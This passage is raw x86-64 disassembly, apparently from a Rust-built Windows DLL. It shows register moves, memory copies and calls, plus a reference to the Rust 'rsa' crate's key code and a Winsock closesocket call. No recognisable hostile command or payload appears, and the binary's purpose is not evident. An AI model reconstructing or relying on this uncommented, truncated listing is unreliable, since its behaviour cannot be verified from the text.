movdqu xmmword [r15 + rax + 0x70], xmm0
movdqu xmmword [r15 + rax + 0x80], xmm1
movdqu xmmword [r15 + rax + 0x90], xmm2
mov rcx, qword [rbx + 0x370]
mov qword [r15 + rax + 0xa0], rcx
mov rsi, qword [rbx + 0x330]
inc rsi
mov qword [rbx + 0x330], rsi
add qword [rbx + 0x90], 0xffffffffffffffd0
jmp 0x1800121e0
mov rax, qword [rbx + 0x330]
lea rsi, [rbx + 0x9a0]
mov qword [rsi + 0xa8], rax
movups xmm0, xmmword [rbx + 0x320]
movups xmmword [rsi + 0x98], xmm0
movups xmm0, xmmword [rbx + 0x400]
movups xmm1, xmmword [rbx + 0x410]
movups xmm2, xmmword [rbx + 0x420]
movaps xmmword [rsi], xmm0
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi + 0x20], xmm2
movups xmm0, xmmword [rbx + 0x930]
movups xmm1, xmmword [rbx + 0x940]
movups xmm2, xmmword [rbx + 0x950]
movaps xmmword [rsi + 0x30], xmm0
movaps xmmword [rsi + 0x40], xmm1
movaps xmmword [rsi + 0x50], xmm2
mov rax, qword [rbx + 0x220]
mov qword [rsi + 0x90], rax
movaps xmm0, xmmword [rbx + 0x1f0]
movaps xmm1, xmmword [rbx + 0x200]
movaps xmm2, xmmword [rbx + 0x210]
movaps xmmword [rsi + 0x80], xmm2
movaps xmmword [rsi + 0x70], xmm1
movaps xmmword [rsi + 0x60], xmm0
lea rdi, [rbx + 0x740]
mov rcx, rdi
call fcn.18003cd3f
mov r8d, 0xb0
mov rcx, rdi
mov rdx, rsi
call fcn.180068d66
lea rcx, [rbx + 0x440]
jmp 0x180012672
lea rcx, [rbx + 0xe0]
call fcn.18002ee0e
lea rcx, [rbx + 0x180]
call fcn.18002ee0e
lea rcx, [rbx + 0x320]
call case.0x180006b46.503
lea rcx, [rbx + 0x440]
call fcn.18002ee0e
lea rcx, [rbx + 0x1f0]
call fcn.18002ee0e
lea rcx, [rbx + 0x930]
call fcn.18002ee0e
lea rcx, [rbx + 0x400]
call fcn.18002ee0e
lea rdx, [rbx + 0x700]
mov rsi, qword [rdx - 0x50]
mov r15, qword [rdx - 0x48]
mov r14, qword [rdx - 0x40]
movups xmm0, xmmword [rdx - 0x38]
movaps xmmword [rbx + 0x180], xmm0
movups xmm0, xmmword [rdx - 0x28]
movaps xmmword [rbx + 0x190], xmm0
movups xmm0, xmmword [rdx - 0x18]
movaps xmmword [rbx + 0x1a0], xmm0
mov rax, qword [rdx - 8]
mov qword [rbx + 0x1b0], rax
lea rcx, [rbx + 0x480]
mov r8d, 0x108
call fcn.180068d66
lea rcx, [rbx + 0xc98]
call fcn.18002ee0e
cmp rsi, 2
jne 0x180012744
lea r8, [rbx + 0x6b0]
mov qword [r8], r15
mov qword [r8 + 8], r14
movaps xmm0, xmmword [rbx + 0x180]
movaps xmm1, xmmword [rbx + 0x190]
movaps xmm2, xmmword [rbx + 0x1a0]
movups xmmword [r8 + 0x10], xmm0
movups xmmword [r8 + 0x20], xmm1
movups xmmword [r8 + 0x30], xmm2
mov rax, qword [rbx + 0x1b0]
mov qword [r8 + 0x40], rax
lea rax, [0x18006dc38]
mov qword [rsp + 0x20], rax
lea rcx, [0x18006dbff]
lea r9, [0x18006cf60]
push 0x1e
jmp 0x18000e171
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
call fcn.180069bb0
lea rcx, [rbx + 0x9f0]
mov qword [rcx - 0x50], rsi
mov qword [rcx - 0x48], r15
mov qword [rcx - 0x40], r14
movaps xmm0, xmmword [rbx + 0x180]
movaps xmm1, xmmword [rbx + 0x190]
movaps xmm2, xmmword [rbx + 0x1a0]
movups xmmword [rcx - 0x38], xmm0
movups xmmword [rcx - 0x28], xmm1
movups xmmword [rcx - 0x18], xmm2
mov rax, qword [rbx + 0x1b0]
mov qword [rcx - 8], rax
lea rdx, [rbx + 0x480]
mov r8d, 0x108
call fcn.180068d66
lea rsi, [rbx + 0x808]
lea rdi, [rbx + 0x9a0]
mov rcx, rsi
mov rdx, rdi
call fcn.180009973
lea rdx, [rbx + 0x9d0]
lea rcx, [rbx + 0x838]
call fcn.180009973
lea r14, [rbx + 0x6b0]
mov r8d, 0x158
mov rcx, r14
mov rdx, rdi
call fcn.180068d66
mov rcx, qword [rbx + 0x80]
call fcn.180038f74
lea rcx, [rbx + 0x4e0]
mov r8d, 0x158
mov rdx, r14
call fcn.180068d66
push 0xc
pop rcx
lea rdi, [rbx + 0x480]
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbx + 0x1e8]
call fcn.18004d5a0
mov rsi, rdx
test rax, rax
jne 0x18001297e
mov rcx, qword [rbx + 0x1e8]
call fcn.18004d5a0
test rax, rax
jne 0x180012994
lea rcx, [rbx + 0x9a0]
mov qword [rcx + 0x218], rsi
mov qword [rcx + 0x220], rdx
lea rdx, [rbx + 0x480]
mov r8d, 0x1b8
call fcn.180068d66
lea rax, [rbx + 0xb58]
mov qword [rax], 2
mov rcx, qword [rbx + 0x1e8]
call qword [sym.imp.ws2_32.dll_closesocket]
cmp qword [rbx + 0x6a0], 0
je 0x18001288c
lea rcx, [rbx + 0x6a8]
call fcn.18001ba3c
lea rcx, [rbx + 0x340]
lea rdx, [rbx + 0xb58]
call fcn.1800098c9
lea rcx, [rbx + 0x230]
lea rdx, [rbx + 0x9a0]
call fcn.18000951c
lea rdx, [rbx + 0xa00]
lea rcx, [rbx + 0x180]
call fcn.18000951c
lea rsi, [rbx + 0xa60]
lea rcx, [rbx + 0x2e0]
mov rdx, rsi
call fcn.180009973
mov rdi, qword [rsi + 0xe8]
mov rdx, qword [rsi + 0xf0]
lea rsi, [rbx + 0x6b0]
mov rcx, rsi
mov qword [rbx + 0xa0], rdx
call fcn.18002f25b
cmp qword [rsi], 0
mov rax, qword [rsi + 8]
mov qword [rbx + 0x90], rax
jne 0x1800129aa
lea rsi, [rbx + 0x6b0]
mov r12, qword [rsi + 0x10]
imul r14, qword [rbx + 0xa0], 0x30
xor r15d, r15d
mov r13, qword [rbx + 0x90]
sub r13, 1
jb 0x1800129bd
cmp r14, r15
je 0x1800129bd
lea rdx, [rdi + r15]
mov rcx, rsi
call fcn.180009973
movdqu xmm0, xmmword [rbx + 0x6b0]
movdqu xmm1, xmmword [rbx + 0x6c0]
movdqu xmm2, xmmword [rbx + 0x6d0]
movdqu xmmword [r12 + r15 + 0x20], xmm2
movdqu xmmword [r12 + r15 + 0x10], xmm1
movdqu xmmword [r12 + r15], xmm0
add r15, 0x30
jmp 0x180012931
lea r8, [rbx + 0x6b0]
mov qword [r8], rsi
lea rax, [0x18006da48]
jmp 0x18000e15c
lea r8, [rbx + 0x6b0]
mov qword [r8], rdx
lea rax, [0x18006da60]
jmp 0x18000e15c
mov rdx, qword [rbx + 0x6c0]
mov rcx, qword [rbx + 0x90]
call fcn.180069600
cmp dword [rbx + 0xa90], 2
je 0x180012bba
lea rdx, [rbx + 0xa90]
lea rcx, [rbx + 0x6b0]
call fcn.180009973
lea rdx, [rbx + 0xac0]
lea rcx, [rbx + 0x6e0]
call fcn.180009973
lea rsi, [rbx + 0xaf0]
lea rcx, [rbx + 0x710]
mov rdx, rsi
call fcn.180009902
mov rdi, qword [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
lea rsi, [rbx + 0x480]
mov rcx, rsi
mov qword [rbx + 0xc0], rdx
call fcn.18003cba3
cmp qword [rsi], 0
mov rax, qword [rsi + 8]
mov qword [rbx + 0x98], rax
jne 0x180012b59
lea rax, [rbx + 0x4b8]
mov rax, qword [rax - 0x28]
mov qword [rbx + 0x80], rax
imul rax, qword [rbx + 0xc0], 0xa8
mov qword [rbx + 0x88], rax
xor r14d, r14d
mov rsi, qword [rbx + 0x98]
sub rsi, 1
jb 0x180012b6c
cmp qword [rbx + 0x88], r14
je 0x180012b6c
mov eax, 0xa8
lea r13, [rdi + rax]
mov rax, qword [rbx + 0x80]
lea r15, [rax + r14]
lea rcx, [rbx + 0x1f0]
mov rdx, rdi
call fcn.180009902
lea rdx, [rdi + 0x38]
lea rcx, [rbx + 0xe0]
call fcn.180009902
add rdi, 0x70
lea rcx, [rbx + 0x4f0]
mov rdx, rdi
call fcn.180009902
mov rax, qword [rbx + 0x220]
mov qword [rbx + 0x4b0], rax
movups xmm0, xmmword [rbx + 0x1f0]
movups xmm1, xmmword [rbx + 0x200]
movups xmm2, xmmword [rbx + 0x210]
movaps xmmword [rbx + 0x4a0], xmm2
movaps xmmword [rbx + 0x490], xmm1
movaps xmmword [rbx + 0x480], xmm0
mov rax, qword [rbx + 0x110]
lea rcx, [rbx + 0x4b8]
mov qword [rcx + 0x30], rax
movdqu xmm0, xmmword [rbx + 0xe0]
movdqu xmm1, xmmword [rbx + 0xf0]
movdqu xmm2, xmmword [rbx + 0x100]
movdqu xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov r8d, 0xa8
mov rcx, r15
lea rdx, [rbx + 0x480]
call fcn.180068d66
mov eax, 0xa8
add r14, rax
mov rdi, r13
jmp 0x180012a67
mov rdx, qword [rbx + 0x490]
mov rcx, qword [rbx + 0x98]
call fcn.180069600
lea rdx, [rbx + 0x6b8]
mov rax, qword [rbx + 0x98]
mov qword [rdx + 0x90], rax
mov rax, qword [rbx + 0x80]
mov qword [rdx + 0x98], rax
mov rax, qword [rbx + 0xc0]
mov qword [rdx + 0xa0], rax
mov rax, qword [rdx - 8]
mov qword [rbx + 0xc80], rax
lea rcx, [rbx + 0x480]
mov r8d, 0xa8
call fcn.180068d66
push 0xc
pop r13
lea rdx, [rbx + 0xe0]
lea rsi, [rbx + 0x180]
mov rcx, r13
mov rdi, rdx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rbx + 0x2e0]
movdqu xmm1, xmmword [rbx + 0x2f0]
movdqu xmm2, xmmword [rbx + 0x300]
movdqu xmmword [rdx + 0x80], xmm2
movdqu xmmword [rdx + 0x70], xmm1
movups xmmword [rdx + 0x60], xmm0
lea r14, [rbx + 0x868]
lea rsi, [rbx + 0x340]
mov rcx, r13
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
lea r15, [rbx + 0x6b0]
lea rsi, [rbx + 0x230]
mov rcx, r13
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
lea rsi, [rbx + 0x710]
mov r8d, 0x90
mov rcx, rsi
call fcn.180068d66
mov rax, qword [rbx + 0xc80]
mov qword [rsi + 0x90], rax
lea rcx, [rbx + 0x7a8]
lea rdx, [rbx + 0x480]
mov r8d, 0xa8
call fcn.180068d66
mov rax, qword [rbx + 0x90]
mov qword [r14 - 0x18], rax
mov qword [r14 - 0x10], r12
mov rax, qword [rbx + 0xa0]
mov qword [r14 - 8], rax
lea rsi, [rbx + 0xc98]
mov rcx, rsi
mov rdx, r15
call fcn.18003c8f5
lea rdx, [rbx + 0x6e0]
lea rcx, [rbx + 0xbe0]
call fcn.18003c8f5
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rbx + 0x480]
mov rcx, rsi
mov qword [rbx + 0xc0], rdx
call fcn.18002d51b
mov ecx, dword [rsi]
cmp ecx, 2
jne 0x180012db9
lea rsi, [rbx + 0x480]
mov dil, byte [rsi + 8]
movups xmm0, xmmword [rsi + 9]
movaps xmmword [rbx + 0x2e0], xmm0
mov rax, qword [rsi + 0x18]
mov qword [rbx + 0x2ef], rax
mov rdx, qword [rbx + 0xbe8]
mov r8, qword [rbx + 0xbf0]
mov rcx, rsi
mov r12, rdx
call fcn.18002d51b
mov eax, dword [rsi]
mov qword [rbx + 0xc8], rax
cmp eax, 2
jne 0x180012eb7
lea rsi, [rbx + 0x480]
mov al, byte [rsi + 8]
movups xmm0, xmmword [rsi + 9]
movaps xmmword [rbx + 0x1f0], xmm0
mov rcx, qword [rsi + 0x18]
mov qword [rbx + 0x1ff], rcx
lea rdx, [rbx + 0x180]
mov byte [rdx + 0x18], al
movaps xmm0, xmmword [rbx + 0x1f0]
movups xmmword [rdx + 0x19], xmm0
mov rax, qword [rbx + 0x1ff]
mov qword [rdx + 0x28], rax
mov byte [rdx], dil
movdqa xmm0, xmmword [rbx + 0x2e0]
movdqu xmmword [rdx + 1], xmm0
mov rax, qword [rbx + 0x2ef]
mov qword [rdx + 0x10], rax
and qword [rbx + 0x340], 0
mov qword [rbx + 0x348], 1
and qword [rbx + 0x350], 0
mov rcx, rsi
call fcn.180037e65
cmp dword [rsi], 2
jne 0x180012fc0
mov edx, dword [rbx + 0x484]
lea rcx, [rbx + 0xe0]
call fcn.18002db38
jmp 0x180012ffe
mov eax, dword [rbx + 0x484]
mov qword [rbx + 0x80], rax
mov al, byte [rbx + 0x488]
mov rdx, qword [rbx + 0x498]
mov qword [rbx + 0x2ef], rdx
movups xmm0, xmmword [rbx + 0x489]
movaps xmmword [rbx + 0x2e0], xmm0
mov rdx, qword [rbx + 0x4a0]
mov qword [rbx + 0x8e3], rdx
mov rdx, qword [rbx + 0x4a5]
mov qword [rbx + 0x8e8], rdx
mov edx, dword [rbx + 0x4ad]
mov dword [rbx + 0x98], edx
mov edx, dword [rbx + 0x4b1]
mov dword [rbx + 0x918], edx
mov edx, dword [rbx + 0x4b4]
mov dword [rbx + 0x91b], edx
movdqa xmm0, xmmword [rbx + 0x2e0]
movdqa xmmword [rbx + 0x320], xmm0
mov edx, dword [rbx + 0x2f0]
mov dword [rbx + 0x330], edx
mov dl, byte [rbx + 0x2f6]
mov byte [rbx + 0x8e2], dl
movzx edx, word [rbx + 0x2f4]
mov word [rbx + 0x8e0], dx
cmp al, 9
jne 0x180013164
mov eax, dword [rbx + 0x320]
mov qword [rbx + 0x80], rax
mov rax, qword [rbx + 0x324]
mov rdx, rax
shr rdx, 8
mov rcx, qword [rbx + 0x32c]
mov qword [rbx + 0x90], rcx
mov r8, qword [rbx + 0x8e0]
mov rcx, qword [rbx + 0x8e8]
mov qword [rbx + 0x88], rcx
mov r9, r8
shr r9, 0x28
mov r15d, dword [rbx + 0x98]
jmp 0x180013200
mov eax, dword [rbx + 0x484]
mov qword [rbx + 0x80], rax
mov al, byte [rbx + 0x488]
mov rcx, qword [rbx + 0x498]
mov qword [rbx + 0x1ff], rcx
movups xmm0, xmmword [rbx + 0x489]
movaps xmmword [rbx + 0x1f0], xmm0
mov rcx, qword [rbx + 0x4a0]
mov qword [rbx + 0x8fb], rcx
mov rcx, qword [rbx + 0x4a5]
mov qword [rbx + 0x900], rcx
mov ecx, dword [rbx + 0x4ad]
mov dword [rbx + 0x98], ecx
mov ecx, dword [rbx + 0x4b1]
mov dword [rbx + 0x920], ecx
mov ecx, dword [rbx + 0x4b4]
mov dword [rbx + 0x923], ecx
movdqa xmm0, xmmword [rbx + 0x1f0]
movdqa xmmword [rbx + 0xc10], xmm0
mov ecx, dword [rbx + 0x200]
mov dword [rbx + 0xc20], ecx
mov cl, byte [rbx + 0x206]
mov byte [rbx + 0x8fa], cl
movzx ecx, word [rbx + 0x204]
mov word [rbx + 0x8f8], cx
cmp al, 9
jne 0x18001325b
mov eax, dword [rbx + 0xc10]
mov qword [rbx + 0x80], rax
mov rax, qword [rbx + 0xc14]
mov rcx, rax
shr rcx, 8
mov rdx, qword [rbx + 0xc1c]
mov qword [rbx + 0x90], rdx
mov rdx, qword [rbx + 0x8f8]
mov r8, qword [rbx + 0x900]
mov qword [rbx + 0x88], r8
mov r8, rdx
shr r8, 0x28
push 5
pop r9
mov qword [rbx + 0xc8], r9
mov r15d, dword [rbx + 0x98]
jmp 0x1800132ed
mov rax, qword [rbx + 0x4b0]
mov qword [rbx + 0x110], rax
movdqu xmm0, xmmword [rbx + 0x480]
movdqu xmm1, xmmword [rbx + 0x490]
movdqu xmm2, xmmword [rbx + 0x4a0]
movdqa xmmword [rbx + 0x100], xmm2
movdqa xmmword [rbx + 0xf0], xmm1
movdqa xmmword [rbx + 0xe0], xmm0
mov eax, dword [rbx + 0xe0]
mov ecx, dword [rbx + 0xe4]
mov qword [rbx + 0x80], rcx
movabs rcx, 0xffffffff00000000
mov qword [rbx + 0xd0], rcx
mov qword [rbx + 0xc8], rax
cmp eax, 2
jne 0x180013335
lea rdi, [rbx + 0x340]
mov rcx, rdi
mov rsi, qword [rbx + 0x80]
mov rdx, rsi
call fcn.18003697a
mov rcx, rdi
mov rdx, rsi
call fcn.18003693f
mov rax, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov qword [rbx + 0xa8], rax
mov qword [rbx + 0x230], rax
mov qword [rbx + 0x90], rcx
mov qword [rbx + 0x238], rcx
mov byte [rbx + 0x244], 0
and dword [rbx + 0x240], 0
lea rdi, [rbx + 0x480]
lea rdx, [rbx + 0x180]
mov rcx, rdi
call fcn.180037e65
mov eax, dword [rdi]
mov edx, dword [rdi + 4]
mov qword [rbx + 0xc8], rax
cmp eax, 2
jne 0x180013396
lea rdi, [rbx + 0xe0]
push 9
pop r8
lea r9, [rbx + 0x230]
mov rcx, rdi
call fcn.1800389e4
mov eax, dword [rdi]
mov qword [rbx + 0xc8], rax
cmp eax, 2
jne 0x1800133fc
lea rdi, [rbx + 0x480]
lea rdx, [rbx + 0x180]
lea r8, [rbx + 0x230]
mov rcx, rdi
call fcn.1800379a3
mov eax, dword [rdi]
mov qword [rbx + 0xc8], rax
cmp eax, 2
jne 0x180013454
lea rdx, [rbx + 0x198]
lea rdi, [rbx + 0x480]
lea r8, [rbx + 0x230]
mov rcx, rdi
call fcn.1800379a3
mov eax, dword [rdi]
mov qword [rbx + 0xc8], rax
cmp eax, 2
jne 0x180013454
mov eax, dword [rbx + 0x240]
cmp byte [rbx + 0x244], 0
jne 0x180013507
cmp qword [rbx + 0x238], rax
jae 0x180013560
push 0xd
jmp 0x180013509
movzx edx, byte [rbx + 0x326]
shl edx, 0x10
movzx r8d, word [rbx + 0x324]
or r8d, edx
shl r8, 0x20
mov edx, dword [rbx + 0x320]
or rdx, r8
mov r8, qword [rbx + 0x327]
mov qword [rbx + 0x90], r8
mov r9d, dword [rbx + 0x32f]
movzx r8d, byte [rbx + 0x333]
shl r8, 0x20
or r8, r9
movzx r10d, byte [rbx + 0x8e2]
shl r10d, 0x10
movzx r9d, word [rbx + 0x8e0]
or r9d, r10d
mov r10, qword [rbx + 0x8e3]
mov qword [rbx + 0x88], r10
mov r15d, dword [rbx + 0x8eb]
mov r14b, byte [rbx + 0x8ef]
mov r10d, dword [rbx + 0x918]
mov r11d, dword [rbx + 0x91b]
mov dword [rbx + 0x480], r10d
mov dword [rbx + 0x483], r11d
mov qword [rbx + 0xc8], rcx
movabs rcx, 0xffffffffff0000
and rcx, rdx
shl rdx, 8
movzx r13d, al
or r13, rdx
shr rcx, 0x10
mov qword [rbx + 0xa0], rcx
shl r9, 0x28
movabs rsi, 0xffffffffff
and rsi, r8
or rsi, r9
mov eax, dword [rbx + 0x480]
mov ecx, dword [rbx + 0x483]
mov dword [rbx + 0x2cb], ecx
mov dword [rbx + 0x2c8], eax
mov r12, qword [rbx + 0xbe8]
jmp 0x180014125
movzx ecx, byte [rbx + 0xc16]
shl ecx, 0x10
movzx edx, word [rbx + 0xc14]
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rbx + 0xc10]
or rcx, rdx
mov rdx, qword [rbx + 0xc17]
mov qword [rbx + 0x90], rdx
mov r8d, dword [rbx + 0xc1f]
movzx edx, byte [rbx + 0xc23]
shl rdx, 0x20
or rdx, r8
movzx r9d, byte [rbx + 0x8fa]
shl r9d, 0x10
movzx r8d, word [rbx + 0x8f8]
or r8d, r9d
mov r9, qword [rbx + 0x8fb]
mov qword [rbx + 0x88], r9
mov r15d, dword [rbx + 0x903]
mov r14b, byte [rbx + 0x907]
mov r9d, dword [rbx + 0x920]
mov r10d, dword [rbx + 0x923]
mov dword [rbx + 0x480], r9d
mov dword [rbx + 0x483], r10d
movabs r9, 0xffffffffff0000
and r9, rcx
shl rcx, 8
movzx r13d, al
or r13, rcx
shr r9, 0x10
mov qword [rbx + 0xa0], r9
shl r8, 0x28
movabs rsi, 0xffffffffff
and rsi, rdx
or rsi, r8
mov eax, dword [rbx + 0x480]
mov ecx, dword [rbx + 0x483]
jmp 0x180014119
mov r13, qword [rbx + 0xe8]
mov rax, qword [rbx + 0xf0]
mov rsi, qword [rbx + 0xf8]
mov rcx, qword [rbx + 0x100]
mov qword [rbx + 0x290], rcx
mov rcx, qword [rbx + 0x105]
mov qword [rbx + 0x295], rcx
mov ecx, dword [rbx + 0x10d]
mov dword [rbx + 0x98], ecx
mov ecx, dword [rbx + 0x111]
mov dword [rbx + 0x2d0], ecx
mov ecx, dword [rbx + 0x114]
mov dword [rbx + 0x2d3], ecx
and qword [rbx + 0xd0], rax
jmp 0x180013b08
mov ecx, dword [rbx + 0x488]
mov r13d, dword [rbx + 0x48c]
mov rax, qword [rbx + 0x490]
mov rsi, qword [rbx + 0x498]
mov r8, qword [rbx + 0x4a0]
mov qword [rbx + 0x3c0], r8
mov r8, qword [rbx + 0x4a5]
mov qword [rbx + 0x3c5], r8
mov r8d, dword [rbx + 0x4ad]
mov dword [rbx + 0x98], r8d
mov r8d, dword [rbx + 0x4b1]
mov dword [rbx + 0x338], r8d
mov r8d, dword [rbx + 0x4b4]
mov dword [rbx + 0x33b], r8d
jmp 0x1800134b7
mov rdx, qword [rbx + 0xe4]
mov r13d, dword [rbx + 0xec]
mov rax, qword [rbx + 0xf0]
mov rsi, qword [rbx + 0xf8]
mov rcx, qword [rbx + 0x100]
mov qword [rbx + 0x3c0], rcx
mov rcx, qword [rbx + 0x105]
mov qword [rbx + 0x3c5], rcx
mov ecx, dword [rbx + 0x10d]
mov dword [rbx + 0x98], ecx
mov ecx, dword [rbx + 0x111]
mov dword [rbx + 0x338], ecx
mov ecx, dword [rbx + 0x114]
jmp 0x1800134aa
mov rdx, qword [rbx + 0x484]
mov r13d, dword [rbx + 0x48c]
mov rax, qword [rbx + 0x490]
mov rsi, qword [rbx + 0x498]
mov rcx, qword [rbx + 0x4a0]
mov qword [rbx + 0x3c0], rcx
mov rcx, qword [rbx + 0x4a5]
mov qword [rbx + 0x3c5], rcx
mov ecx, dword [rbx + 0x4ad]
mov dword [rbx + 0x98], ecx
mov ecx, dword [rbx + 0x4b1]
mov dword [rbx + 0x338], ecx
mov ecx, dword [rbx + 0x4b4]
mov dword [rbx + 0x33b], ecx
mov rcx, rdx
shr rcx, 0x20
shl r13, 0x20
or r13, rcx
mov rcx, qword [rbx + 0x3c0]
mov r8, qword [rbx + 0x3c5]
mov qword [rbx + 0x295], r8
mov qword [rbx + 0x290], rcx
mov ecx, dword [rbx + 0x338]
mov r8d, dword [rbx + 0x33b]
mov dword [rbx + 0x2d0], ecx
mov dword [rbx + 0x2d3], r8d
and qword [rbx + 0xd0], rax
mov qword [rbx + 0x80], rdx
jmp 0x180013b08
push 1
pop r13
push 1
pop rcx
mov qword [rbx + 0xc8], rcx
mov rcx, qword [rbx + 0x400]
mov rdx, qword [rbx + 0x405]
mov qword [rbx + 0x295], rdx
mov qword [rbx + 0x290], rcx
mov ecx, dword [rbx + 0xbd8]
mov edx, dword [rbx + 0xbdb]
mov dword [rbx + 0x2d0], ecx
mov dword [rbx + 0x2d3], edx
xor ecx, ecx
mov qword [rbx + 0xd0], rcx
mov ecx, eax
mov qword [rbx + 0x80], rcx
jmp 0x180013b08
cmp dword [rbx + 0x80], eax
jne 0x18001364c
cmp dword [rbx + 0x80], 0x10000000
jae 0x18001367b
mov rax, qword [rbx + 0x340]
mov qword [rbx + 0xb8], rax
cmp qword [rbx + 0x90], 0xfffffff
ja 0x180013689
mov r9, qword [rbx + 0x90]
lea rax, [r9*8]
mov r8, qword [rbx + 0xa8]
mov rcx, r8
shr rcx, 0x20
mov edx, r8d
shr edx, 8
lea r14, [rbx + 0x4a8]
mov byte [r14 - 0x28], r8b
shr r8d, 0x18
mov byte [r14 - 0x25], r8b
mov word [r14 - 0x27], dx
mov dword [r14 - 0x24], ecx
mov qword [r14 - 0x20], r9
mov dword [r14 - 0x18], r9d
mov qword [r14 - 0x10], rax
mov byte [r14 - 8], 0
lea rsi, [0x18007ad00]
push 9
pop rcx
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
and qword [rbx + 0xc40], 0
mov qword [rbx + 0xc48], 1
and qword [rbx + 0xc50], 0
lea rsi, [rbx + 0xe0]
lea rdx, [rbx + 0x480]
mov rcx, rsi
call fcn.18003c760
cmp dword [rsi], 2
jne 0x18001370f
mov edx, dword [rbx + 0xe4]
lea rcx, [rbx + 0x180]
call fcn.18002db38
jmp 0x18001374d
cmp dword [rbx + 0x80], 0xfffffff
ja 0x180013a62
cmp eax, 0x10000000
jae 0x180013ab0
mov r13, qword [rbx + 0x80]
shl r13, 0x20
or r13, 3
jmp 0x180013aef
xor eax, eax
mov qword [rbx + 0xd0], rax
jmp 0x180013aff
mov esi, dword [rbx + 0x90]
mov eax, dword [rbx + 0xe0]
mov dword [rbx + 0x98], eax
mov eax, dword [rbx + 0xe4]
mov dword [rbx + 0x2c8], eax
mov eax, dword [rbx + 0xe7]
mov dword [rbx + 0x2cb], eax
mov rcx, qword [rbx + 0xb8]
mov rdx, qword [rbx + 0xa8]
call case.0x180046113.1274
mov rcx, qword [rbx + 0xbe0]
mov rdx, r12
call case.0x180046113.1274
mov rcx, qword [rbx + 0xc98]
mov rdx, qword [rbx + 0xc0]
call case.0x180046113.1274
xor eax, eax
mov qword [rbx + 0xc8], rax
mov r13d, 0x206
mov qword [rbx + 0x80], rax
xor r15d, r15d
xor eax, eax
mov qword [rbx + 0xa0], rax
jmp 0x180014402
mov rax, qword [rbx + 0x110]
mov qword [rbx + 0x1b0], rax
movdqu xmm0, xmmword [rbx + 0xe0]
movdqu xmm1, xmmword [rbx + 0xf0]
movdqu xmm2, xmmword [rbx + 0x100]
movdqa xmmword [rbx + 0x1a0], xmm2
movdqa xmmword [rbx + 0x190], xmm1
movdqa xmmword [rbx + 0x180], xmm0
mov eax, dword [rbx + 0x180]
mov ecx, dword [rbx + 0x184]
mov qword [rbx + 0x80], rcx
mov qword [rbx + 0xc8], rax
cmp eax, 2
jne 0x180013be9
mov r13, qword [rbx + 0x80]
shl r13, 0x20
or r13, 0xc
mov rax, qword [rbx + 0x930]
mov rcx, qword [rbx + 0x935]
mov qword [rbx + 0x295], rcx
mov qword [rbx + 0x290], rax
mov eax, dword [rbx + 0x970]
mov ecx, dword [rbx + 0x973]
mov dword [rbx + 0x2d0], eax
mov dword [rbx + 0x2d3], ecx
xor eax, eax
mov qword [rbx + 0xd0], rax
jmp 0x180013af8
mov r13, rax
shl r13, 0x20
or r13, 0xc
mov rcx, qword [rbx + 0x440]
mov rdx, qword [rbx + 0x445]
mov qword [rbx + 0x295], rdx
mov qword [rbx + 0x290], rcx
mov ecx, dword [rbx + 0xc40]
mov edx, dword [rbx + 0xc43]
mov dword [rbx + 0x2d0], ecx
mov dword [rbx + 0x2d3], edx
xor ecx, ecx
mov qword [rbx + 0xd0], rcx
mov qword [rbx + 0x80], rcx
xor ecx, ecx
mov qword [rbx + 0xc8], rcx
mov eax, eax
or rax, qword [rbx + 0xd0]
mov qword [rbx + 0xa0], rax
mov rax, qword [rbx + 0x290]
mov rcx, qword [rbx + 0x295]
mov qword [rbx + 0x6a0], rax
mov qword [rbx + 0x6a5], rcx
mov eax, dword [rbx + 0x2d0]
mov ecx, dword [rbx + 0x2d3]
mov dword [rbx + 0x928], eax
mov dword [rbx + 0x92b], ecx
mov rcx, qword [rbx + 0x340]
mov rdx, qword [rbx + 0xa8]
call case.0x180046113.1274
cmp r13b, 9
jne 0x1800140a9
mov rcx, rsi
shr rcx, 0x28
mov rax, r13
shr rax, 8
mov qword [rbx + 0x80], rax
mov rax, qword [rbx + 0xa0]
mov qword [rbx + 0x480], rax
mov dword [rbx + 0x488], esi
shr rsi, 0x20
mov byte [rbx + 0x48c], sil
mov edx, dword [rbx + 0x6a0]
mov eax, dword [rbx + 0x6a4]
shl rax, 0x20
or rax, rdx
mov rdx, qword [rbx + 0x6a5]
mov qword [rbx + 0x88], rdx
shr r13, 0x28
push 5
pop rdx
mov qword [rbx + 0xc8], rdx
mov rdx, qword [rbx + 0x485]
mov qword [rbx + 0x90], rdx
mov rsi, rcx
mov r15d, dword [rbx + 0x98]
jmp 0x180014100
mov rax, rsi
shr rax, 0x18
mov rcx, qword [rbx + 0x6a0]
mov qword [rbx + 0x88], rcx
mov r15d, dword [rbx + 0x6a8]
mov r14b, byte [rbx + 0x6ac]
mov ecx, dword [rbx + 0x928]
mov edx, dword [rbx + 0x92b]
mov dword [rbx + 0xe0], ecx
mov dword [rbx + 0xe3], edx
mov rcx, qword [rbx + 0xa0]
mov qword [rbx + 0x90], rcx
mov rcx, r13
shr rcx, 0x18
mov qword [rbx + 0xa0], rcx
shl rax, 0x18
and esi, 0xffffff
or rsi, rax
mov eax, dword [rbx + 0xe0]
mov ecx, dword [rbx + 0xe3]
mov dword [rbx + 0x2cb], ecx
mov dword [rbx + 0x2c8], eax
mov rcx, qword [rbx + 0xbe0]
mov rdx, r12
call case.0x180046113.1274
mov rcx, qword [rbx + 0xc98]
mov rdx, qword [rbx + 0xc0]
call case.0x180046113.1274
jmp 0x180014402
mov eax, dword [rbx + 0x2c8]
mov ecx, dword [rbx + 0x2cb]
mov dword [rbx + 0x47b], ecx
mov dword [rbx + 0x478], eax
mov rax, qword [rbx + 0xa0]
shl rax, 0x18
and r13d, 0xffffff
or r13, rax
mov qword [rbx + 0x3b8], r13
jmp 0x180014f31
mov rdx, qword [rbx + 0x490]
call fcn.180069600
or r13, rdi
mov rax, qword [rbx + 0x88]
